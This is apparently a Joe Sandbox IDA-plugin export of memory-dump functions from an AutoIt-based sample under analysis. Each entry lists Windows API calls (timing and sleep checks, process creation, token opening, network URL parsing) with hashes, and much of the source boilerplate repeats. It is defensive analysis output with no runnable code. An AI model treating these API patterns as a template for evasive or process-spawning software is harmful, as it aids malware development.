Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 6c0350af10a174890f0a660b19e2ff7f4a9f7dc8e8394a1d72b06eafafe81276
Instruction ID: 8b77a6ad2382d5fa739a0a6bd8d461f7a7cda45960cc6ff4edd8831ae7e05ace
Opcode Fuzzy Hash: 6c0350af10a174890f0a660b19e2ff7f4a9f7dc8e8394a1d72b06eafafe81276
Instruction Fuzzy Hash: 81116A3560041AEFCF14EF98D9859FE7BB9EB05301F4044A9F941E7141C730BAA2DBA5

Function 000F1142 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,000EFCED,?,000F0D40,?,00008000), ref: 000F115F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,000EFCED,?,000F0D40,?,00008000), ref: 000F1184
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,000EFCED,?,000F0D40,?,00008000), ref: 000F118E
Sleep.KERNEL32(?,?,?,?,?,?,?,000EFCED,?,000F0D40,?,00008000), ref: 000F11C1

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 5c11bc34783eddde982ffb6abed800b4a9d55620c1f6054c205d299e18cb261f
Instruction ID: 6e4a7107543ba126626ee632daa67770689c0166d1d767c79b64f758cbe3bfdb
Opcode Fuzzy Hash: 5c11bc34783eddde982ffb6abed800b4a9d55620c1f6054c205d299e18cb261f
Instruction Fuzzy Hash: 84111831D4091DE7CF149FA5D948AFEBBB8FB09711F004159EB41B2640CB7095919BD5

Function 000ED831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 000ED84D
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 000ED864
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 000ED879
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 000ED897

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: db7e064ffe984e505e954792537e0f58ff89d4746ab0c56f1bda9b5dd97aa11f
Instruction ID: cec9f20a1fa5ba4ae519b49c9addfae2f3c68f814541d6e1c0fe6fe824eb806a
Opcode Fuzzy Hash: db7e064ffe984e505e954792537e0f58ff89d4746ab0c56f1bda9b5dd97aa11f
Instruction Fuzzy Hash: 4A1161B5605354EFE320CF52DE08F97BBBCEB00B00F10856EA916E6450DBB1E5499BA1

Function 000C6FB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 000C6FDB

Part of subcall function 000C76C2: __fltout2.LIBCMT ref: 000C76EB

__cftog_l.LIBCMT ref: 000C7001
__cftoe_l.LIBCMT ref: 000C7033

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: deb7ecff824a80c0be8d398f9d515659f26633edba9d14a5f1691ac54d0dce3e
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 8B014B7244814AFBCF265F85CC05DEE3F62BB18390B688419FA5C58032D636C9B1AF81

Function 0011B2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0011B2E4
ScreenToClient.USER32(?,?), ref: 0011B2FC
ScreenToClient.USER32(?,?), ref: 0011B320
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0011B33B

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 9cb737abc8fc13d97fe4796ac9e02ab394eb3f248adeeb48e1c3d4b0d86e47d4
Instruction ID: 2a62c890287d3c4a7ab3edd5d752ece5303edbb63c4e0d4fb3132f0c024d37e5
Opcode Fuzzy Hash: 9cb737abc8fc13d97fe4796ac9e02ab394eb3f248adeeb48e1c3d4b0d86e47d4
Instruction Fuzzy Hash: 5C114679D00609EFDB41CF99C5849EEBBB5FB08310F108166E914E3620D735AA65CF50

Function 0011B635 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0011B644
_memset.LIBCMT ref: 0011B653
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00156F20,00156F64), ref: 0011B682
CloseHandle.KERNEL32 ref: 0011B694

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 543690ddf7705c0d8ee3e3243ec1948a60372d7a7dff30a72359d8c416b7a05b
Instruction ID: 22d259947dbabe6d0c22557265d9c6e0614a4d4e94cd89a3ba40e7998fa29387
Opcode Fuzzy Hash: 543690ddf7705c0d8ee3e3243ec1948a60372d7a7dff30a72359d8c416b7a05b
Instruction Fuzzy Hash: AEF05EB2940300BAE6102761BC16FFB3A9CEB08396F404422BA09EE5A2D7714C40C7E8

Function 000F6BDA Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 000F6BE6

Part of subcall function 000F76C4: _memset.LIBCMT ref: 000F76F9

_memmove.LIBCMT ref: 000F6C09
_memset.LIBCMT ref: 000F6C16
LeaveCriticalSection.KERNEL32(?), ref: 000F6C26

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 086ded82a6471e34d49366985d07706a7d72451655b32dd94192963b09645edc
Instruction ID: ee27d657abdf5b6318e46c025f0cd2943f16cf5ba0c34fbefaeab21d95e508a0
Opcode Fuzzy Hash: 086ded82a6471e34d49366985d07706a7d72451655b32dd94192963b09645edc
Instruction Fuzzy Hash: 75F05E7A200204ABCF056F55DC85ACABB2AEF45321F04C065FE089E227C731E851DBB4

Function 00092218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00092231
SetTextColor.GDI32(?,000000FF), ref: 0009223B
SetBkMode.GDI32(?,00000001), ref: 00092250
GetStockObject.GDI32(00000005), ref: 00092258
GetWindowDC.USER32(?,00000000), ref: 000CBE83
GetPixel.GDI32(00000000,00000000,00000000), ref: 000CBE90
GetPixel.GDI32(00000000,?,00000000), ref: 000CBEA9
GetPixel.GDI32(00000000,00000000,?), ref: 000CBEC2
GetPixel.GDI32(00000000,?,?), ref: 000CBEE2
ReleaseDC.USER32(?,00000000), ref: 000CBEED

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 71157d56fe7c081703844e95fa1b46c0320185dd78865965702b9fc60e87b9fe
Instruction ID: 28d68e996ae85519a7e754537547ba62f3bb25b46a427eda7e72f491c6296cd5
Opcode Fuzzy Hash: 71157d56fe7c081703844e95fa1b46c0320185dd78865965702b9fc60e87b9fe
Instruction Fuzzy Hash: 82E03932144244FADF655FA4FD0DBD83B51EB05332F10C36AFA69480E1C7714982DB12

Function 000E8712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 000E871B
OpenThreadToken.ADVAPI32(00000000,?,?,?,000E82E6), ref: 000E8722
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,000E82E6), ref: 000E872F
OpenProcessToken.ADVAPI32(00000000,?,?,?,000E82E6), ref: 000E8736

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: c3a7b138dc4dec28b516898d0de332cc2b170153da8a4e90cbcc47dd89c63184
Instruction ID: 64a5d815a15808aec86ede066bcb49f01cad79a8e5f13154608e184d6dd9e9e9
Opcode Fuzzy Hash: c3a7b138dc4dec28b516898d0de332cc2b170153da8a4e90cbcc47dd89c63184
Instruction Fuzzy Hash: 9CE086366192119FD7605FB15E0CBDB3BACEF54791F15C82CB689D9050DA34C482C750

Function 000EB2F3 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 000EB4BE

Strings

Container, xrefs: 000EB43B
AutoIt3GUI, xrefs: 000EB436

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: 0ee545a85c279883b5e70a9a3c439c19e4cc639207c945d186b0b58fbd069e0d
Instruction ID: ac1aab4b83d575fbf30296e2b5efd4e1daf9dad3a307b7de7ccbb298e378c95d
Opcode Fuzzy Hash: 0ee545a85c279883b5e70a9a3c439c19e4cc639207c945d186b0b58fbd069e0d
Instruction Fuzzy Hash: BD915871600601AFDB64DF69C884BABBBE5FF48700F20856DE94ADB2A1DB71E841CB50

Function 000FAFAC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 000AFC86: _wcscpy.LIBCMT ref: 000AFCA9

Part of subcall function 00099837: __itow.LIBCMT ref: 00099862
Part of subcall function 00099837: __swprintf.LIBCMT ref: 000998AC

__wcsnicmp.LIBCMT ref: 000FB02D
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 000FB0F6

Strings

LPT, xrefs: 000FB027

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 4cec5a26c53e477bdce258b546e7784a8663f979e937589d63abce9d83dd52cf
Instruction ID: ddb22fcae8c52bc26705ed3bcbb30a0d1a559b0c421ed2baee7a819cf8a45ae8
Opcode Fuzzy Hash: 4cec5a26c53e477bdce258b546e7784a8663f979e937589d63abce9d83dd52cf
Instruction Fuzzy Hash: A9615D75A00219AFCB14DF98C891EFEB7F9FB09710F104069FA16AB651DB30AE40DB50

Function 000A2957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 000A2968
GlobalMemoryStatusEx.KERNEL32(?), ref: 000A2981

Strings

@, xrefs: 000A2975

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 88e086babd254ba7446f1cf8556b4116c3d9a9b9e591fb1a570cdb61cf8bd195
Instruction ID: dc0fcb993619dc00a4a6507b15780d519576f27402c0609053029b0669feb568
Opcode Fuzzy Hash: 88e086babd254ba7446f1cf8556b4116c3d9a9b9e591fb1a570cdb61cf8bd195
Instruction Fuzzy Hash: 985167714187449BD720EF14D886BEFBBE8FB85344F41885CF2D8811A2EF309969DB66

Function 000F9734 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00094F0B: __fread_nolock.LIBCMT ref: 00094F29

_wcscmp.LIBCMT ref: 000F9824
_wcscmp.LIBCMT ref: 000F9837

Strings

FILE, xrefs: 000F9770

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 9deac963217df626b2c625f41024cd4cdc6fdc6c931a46dbbadce2f01447619a
Instruction ID: e37c48bccf414082e526594c436d1eea536f6795b0c5bd4db51c5b7b192d907c
Opcode Fuzzy Hash: 9deac963217df626b2c625f41024cd4cdc6fdc6c931a46dbbadce2f01447619a
Instruction Fuzzy Hash: BF41A671A0021EBADF219AA4CC45FEFBBFDEF85710F000479FA04A7192DA719A459B61

Function 0010258E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0010259E
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 001025D4

Strings

|, xrefs: 001025A5

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: f7708781445346c49ec1526718d481258e2d5591ae4f11b11ed8add1627a4ab9
Instruction ID: 5c5f1ac760c2dd6f490894b28008220905224a1d6d63e73d64decaeee980ed95
Opcode Fuzzy Hash: f7708781445346c49ec1526718d481258e2d5591ae4f11b11ed8add1627a4ab9
Instruction Fuzzy Hash: 99312672804119ABCF05EFA0CC89EEEBFB9FF08310F104069FD19A6162EB715956DB60

Function 00117A71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 00117B61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00117B76

Strings

', xrefs: 00117ACA

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: bab4c82f227436ef559ad74d8ca0aa409ae73023f9d9df2e6e285d67bd19011d
Instruction ID: 8bea2e23701060abd61996715d608a8b6d0f5bd7d7a628466fc61a023b9b36d9
Opcode Fuzzy Hash: bab4c82f227436ef559ad74d8ca0aa409ae73023f9d9df2e6e285d67bd19011d
Instruction Fuzzy Hash: F441E774A093099FDB18CF65D991BDABBB5FF08300F14017AE905AB391E770AA91CF94

Function 00116A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00116B17
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00116B53

Strings

static, xrefs: 00116AB3

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 72c762d6e21f0345ab69dda8899a8e03b8c159f436e6dc6f81a1fb25f8d72eb1
Instruction ID: 6c4a1ecbbece260df047af3b1e0f85dbead9dffcc60b42f72257486f4a6d1b0f
Opcode Fuzzy Hash: 72c762d6e21f0345ab69dda8899a8e03b8c159f436e6dc6f81a1fb25f8d72eb1
Instruction Fuzzy Hash: 5231AF71200604AEDB149F68DC80BFB77A9FF48760F10862DF9A9D7190DB31AC81D764

Function 000F28A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000F2911
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 000F294C

Strings

0, xrefs: 000F290A

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 117db1d1743aa64c3b81ee25c5e4fb43a6d6110e47a83109453db72b85836daa
Instruction ID: 29665a58cccc5babf56d23383c488cb08d58c52b9f52636f6e81f2c4aa794738
Opcode Fuzzy Hash: 117db1d1743aa64c3b81ee25c5e4fb43a6d6110e47a83109453db72b85836daa
Instruction Fuzzy Hash: 9831F23160430D9FEB64CF98C985BFEBBF9EF05350F140029EA81A75A1D7B09980EB11

Function 001039E9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00103A66

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

Strings

, $, xrefs: 00103AA6
AUTOITCALLVARIABLE%d, xrefs: 00103A58

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: e983ed71c092e9db3ed86eb77df635950696ea7f1d27f628122223cef09c651c
Instruction ID: 6862c33879b74efb92dac58b2550bd3bd7a715e312dee067cdc810cc00ff15d4
Opcode Fuzzy Hash: e983ed71c092e9db3ed86eb77df635950696ea7f1d27f628122223cef09c651c
Instruction Fuzzy Hash: B9219E71700219AFCF14EF64CC82AEE77B9AF44700F004459F499AB292DB70EA46DB61

Function 001166D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00116761
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0011676C

Strings

Combobox, xrefs: 0011672E

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
